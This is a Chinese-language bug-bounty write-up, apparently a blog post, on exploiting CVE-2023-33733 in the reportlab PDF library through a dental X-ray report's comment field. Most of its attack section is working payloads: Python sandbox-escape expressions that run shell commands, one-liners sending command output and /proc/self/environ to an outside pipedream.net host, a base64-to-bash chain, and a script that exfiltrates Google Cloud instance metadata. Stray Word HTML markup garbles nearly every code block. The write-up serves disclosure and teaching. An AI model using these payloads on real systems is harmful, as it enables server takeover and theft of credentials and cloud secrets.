背景介绍 CVE-2023-33733 由Cure53 Elyas Damej 的渗透测试人员发现,本文将介绍国外一位白帽子通过采取哪些步骤,从确定目标使用什么库来生成PDF,最终又是如何实现 RCE的全过程。 目标简介 目标应用程序为牙医设计,可以上传患者的X光射线报告(支持PNG、JPG等格式),上传X射线图像后,可以编辑一些字段,如患者姓名、报告日期、评论等。在添加所有必需的详细信息后,还可以打印该X射线报告。 发现过程 首先在“生成报告”时抓包: 然后下载 PDF 报告并使用exiftool 来检查是否可以识别在 PDF 生成过程中使用了哪种软件或库,遗憾的是没能获得任何信息。 然后白帽子在 comment 参数中添加了一些 html 代码: - "><img src=https://myhost>
复制代码
通过使用上面的payload来识别可能用来渲染 html 代码服务器端的库/浏览器。 当再次点击“生成报告”按钮时,请求失败,检查响应包,发现报错: - <p class="MsoNormal"><span lang="EN-US">{<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">"\nparagraph text '<para>Note:
- <font color="#484848"><img
- src=x></font></para>' caused exception Parse error: saw
- </font> instead of expected </img>"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">155 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
看到这个错误,稍微有点经验的朋友估计心里都会开了花吧? 从报错来看,服务器似乎没有对用户输入进行有效清理,而是直接在 html 文件中使用了它们。 - <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"><para>Note: <font
- color="#484848">{{comment}}</font></para><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">59 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
因为没有有效的过滤清理,那么 {{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html。 另外从报错信息中可以看出,由于输入了<img sr=x> ,库的 html 解析器无法解析提供的 html,因为它没有匹配的结束标记。 - <p class="MsoNormal"><span lang="EN-US"><img src=https://myhost
- onerror=alert()></span></p>
复制代码
在更换了上述payload后,显示了不同的错误消息,由于在 src 属性中添加了白帽子的个人服务器地址,当图像标记呈现时,请求将发送到白帽子的个人服务器,那么日志也许能告诉我们一些有关 User-Agent 的信息。 - <p class="MsoNormal"><span lang="EN-US">["\nparagraph text '<para>Note:
- <font color="#484848">test"><img
- src=https://myhost onerror=alert()></font></para>' caused
- exception paraparser: syntax error: invalid attribute name onerror attrMap=['height',
- 'src', 'valign', 'width']"]</span></p>
复制代码
报错信息已经非常清晰的描述了问题所在,onerror 属性不在 attrMap 列表中,这就是触发报错的根本原因。 删除 onerror 属性再次测试: - User-Agent: Python-urllib/3.10
复制代码
白帽子过去曾尝试研究这个库的源代码,试图在其中找到一些0day,但由于源代码审查并不是很擅长,所以最终以失败告终。但毕竟对reportlab还是有一些基本了解的,因此白帽子复制了错误消息的一部分并开始在源代码中进行了搜索。 def getAttributes(self,attr,attrMap):
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- A = {}<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- for k, v in attr.items():<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- if not self.caseSensitive:<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> k = k.lower()<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- if k in attrMap:<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> j = attrMap[k]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> func = j[1]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> if func is not None:<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> #it's a function<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> v = func(self,v) if
- isinstance(func,_ExValidate) else func(v)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> A[j[0]] = v<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- else:<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> self._syntax_error('invalid
- attribute name %s attrMap=%r'% (k,list(sorted(attrMap.keys()))))<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">558 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
这与网站中显示的错误消息完全匹配。 - <p class="MsoNormal"><span lang="EN-US"><para><font
- color="[[[getattr(pow, Word('__globals__'))['os'].system('touch
- /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1,
- 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate()
- and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {
- setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self:
- hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in
- [[].append(1)]]] and 'red'"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> exploit<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"></font></para><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">505 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal">在阅读<span lang="EN-US">Elyas</span>的文章后,白帽子开始尝试理解这个<span lang="EN-US">payload</span>,虽然阅读起来有难度,但通过<span lang="EN-US"> python </span>控制台来逐行执行它,对于后来的理解很有帮助。<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal">在确认了使用<span lang="EN-US">reportlab</span>库之后,白帽子使用了以下<span lang="EN-US">payload</span>来确认它是否确实使用了存在漏洞的版本:<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"><para><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> <font color="[ [
- getattr(pow,Word('__globals__'))['os'].system('curl https://myhost.com') for
- Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self,
- x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and
- str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated -
- 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
- [type(type(1))] ] and 'red'"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> exploit<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </font><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- </para><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">515 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"></p>
复制代码
它并没起作用,pdf 已成功生成,但没有 pingbacks 发送到研究人员的服务器。而后白帽子将curl命令更改为ping,wget,希望至少能够获得DNS交互,但依然失败。 这时白帽子开始怀疑应用程序是否真的使用了存在漏洞版本的库,在找到这个答案前,只能通过本地设置来完成了。 - <p class="MsoNormal"><span lang="EN-US">from reportlab.platypus import
- SimpleDocTemplate, Paragraph<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">from io import BytesIO<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">stream_file = BytesIO()<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">content = []<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">def add_paragraph(text, content):<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- """ Add paragraph to document content"""<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- content.append(Paragraph(text))<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">def get_document_template(stream_file:
- BytesIO):<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- """ Get SimpleDocTemplate """<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return SimpleDocTemplate(stream_file)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">def build_document(document, content,
- **props):<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- """ Build pdf document based on elements added in
- `content`"""<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- document.build(content, **props)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">doc = get_document_template(stream_file)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># THE INJECTED PYTHON CODE THAT IS PASSED
- TO THE COLOR EVALUATOR<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#[<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- [<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- for Word in [<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- orgTypeFun(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># 'Word',<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># (str,),<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># 'mutated': 1,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># 'startswith': lambda self,
- x: False,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># '__eq__': lambda self, x:
- self.mutate()<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># and self.mutated < 0<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># and str(self) == x,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># 'mutate': lambda self:
- {setattr(self, 'mutated', self.mutated - 1)},<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># '__hash__': lambda self:
- hash(str(self)),<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"># },<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- )<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- ]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- ]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#
- for orgTypeFun in [type(type(1))]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">#]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">add_paragraph("""<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- <para><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> <font color="[ [
- getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word
- in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x:
- False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and
- str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated -
- 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
- [type(type(1))] ] and 'red'"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> exploit<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </font><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- </para>""", content)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">build_document(doc, content)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">1.86 KB<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
可以看到该漏洞在reportlab v3.6.12中被成功触发。 那么让我们来看看修复版本中会发生什么: 看到错误了吗?漏洞利用失败。 当在目标中使用相同的 poc 时,没有显示错误,pdf 已成功生成,这表明他们确实使用易受攻击的版本,否则会显示错误。 另一位白帽@rootxharsh曾遇到了类似的情况,其中curl,wget,ping不起作用,因此得出的结论是Chrome 浏览器进程可能是在启用了沙盒的情况下运行的,但事实上后来当另一位白帽@iamnoooob做同样检测时,他使用了反弹 shell 成功收到回调信息。 因此回到目标应用中,curl 等不起作用,那么为什么不尝试使用 python requests 模块呢? - <p class="MsoNormal"><span lang="EN-US"><font color="[ [ [ [ ftype(ctype(0,
- 0, 0, 0, 3, 67,
- b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00',
- (None, 'requests', 'https://myhost'), ('__import__','get'), (),
- '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)]
- ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in
- [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x:
- False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self)
- == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
- '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
- [type(type(1))]] and 'red'">exploit</font><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">681 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
替换了payload后,白帽子在他的服务器上成功地收到了pingbank: - User-Agent: python-requests/2.31.0
复制代码 这也证明了我们可以在系统上实现任意代码执行,再次修改 poc 并依靠它来将命令输出发送到白帽子的服务器: - <p class="MsoNormal"><span lang="EN-US">python3 -c "import
- requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(id)')"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">89 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
- <p class="MsoNormal"><span lang="EN-US">python3 -c "import
- requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(cat
- /proc/self/environ)')"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">109 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">(None, 'os', 'echo
- cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg==
- | base64 -d|bash'), ('__import__', 'system')<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">212 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"><font color="[ [ [ [ ftype(ctype(0,
- 0, 0, 0, 3, 67,
- b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00',
- (None, 'os', 'echo
- cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg==
- | base64 -d|bash'), ('__import__', 'system'), (), '<stdin>', '', 1,
- b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in
- [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word',
- (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda
- self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate':
- lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda
- self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and
- 'red'">exploit</font><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">835 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">/proc/self/environ </span>的内容非常非常敏感,由于负责生成<span lang="EN-US"> pdf </span>的服务器托管在<span lang="EN-US"> Google Cloud </span>上,我们还可以获取<span lang="EN-US">Metadata </span>响应,为了确认这一点,白帽子使用了如下<span lang="EN-US">payload</span>进行测试:<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">python3 -c "import requests;import
- base64;metadata_url =
- 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true';metadata_headers
- = {'Metadata-Flavor': 'Google'};response = requests.get(metadata_url,
- headers=metadata_headers);encoded_metadata =
- base64.b64encode(response.text.encode()).decode();target_server_url =
- 'https://en2celq7rewbul.m.pipedream.net/';data_payload = {'metadata':
- encoded_metadata};requests.post(target_server_url, json=data_payload)"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">468 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
复制代码
经过美化后的PoC:
- <p class="MsoNormal"><span lang="EN-US"></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>import requests
- <p class="MsoNormal"><span lang="EN-US">import base64<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">metadata_url =
- 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true'<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">metadata_headers = {'Metadata-Flavor':
- 'Google'} # custom metadata header requirement we have RCE so we could add it
- easily ;)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">response = requests.get(metadata_url,
- headers=metadata_headers)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">encoded_metadata =
- base64.b64encode(response.text.encode()).decode()<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">target_server_url =
- 'https://en2celq7rewbul.m.pipedream.net/'<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">data_payload = {'metadata':
- encoded_metadata}<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">requests.post(target_server_url,
- json=data_payload)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">540 Bytes<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码
上面的代码可以向 Google 云Metadata端点发出请求,然后将 json 响应发送到白帽子的服务器(base64 编码)。 在确认所有这些信息后,白帽子停止了继续测试并向厂商报告了以上所有内容,目标厂商对漏洞报告非常满意,尽管他们的最高赏金是3K,但他们为该漏洞支付了4.5K赏金。
|